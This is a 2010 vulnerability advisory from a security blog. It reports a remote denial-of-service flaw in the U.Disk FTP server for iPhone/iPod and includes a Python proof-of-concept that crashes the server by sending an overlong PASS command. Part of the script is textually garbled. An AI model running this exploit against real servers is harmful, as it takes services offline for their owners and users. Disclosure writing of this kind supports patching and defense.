Peter Van Eeckhoutte's Blog

Post edited 13:29 – January 12, 2010 by mr_me

Advisory : CORELAN-14-003
Disclosure date : 12th January 2010

0×00 : Vulnerability information
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0×01 : Vendor description of software
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From the vendor website:

U.Disk is an easy used application, with stand FTP server build in. With this feature, you can upload or download thousands of files by on click. Just use Copy & Paste to access files. Like your real U-Disk.

0×02 : Vulnerability details
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Remote Denial of Service:

When the application is sent a password (PASS) command with characters of size 2047 the application crashs.
Remote code execution maybe possible.

0×03 : Vendor communication
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0×04 : Exploit/PoC
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#!/usr/bin/python

print "[+] Apple Iphone/Ipod – Udisk FTP basic edition 0day Remote DOS exploit"

import socket
import sys

def Usage():
print ("Usage: ./udisk.py <serv_ip>\\n")
print ("Example:./udisk.py 192.168.2.3\\n")
if len(sys.argv) <> 2:
Usage()
sys.exit(1)
else:
hostname = sys.argv[1]
username = "anonymous"
passwd = "x41? * 2047
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 8080))
print "[+] Connecting to the target.."
except:
print ("[-] Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] Sending payload.."
sock.send("USER %s\\r\\n" %username)
sock.send("PASS %s\\r\\n" %passwd)
sock.send("PWD\\r\\n")
sock.close()
print "[+] Server is now DOS'ed ;)"
sys.exit(0);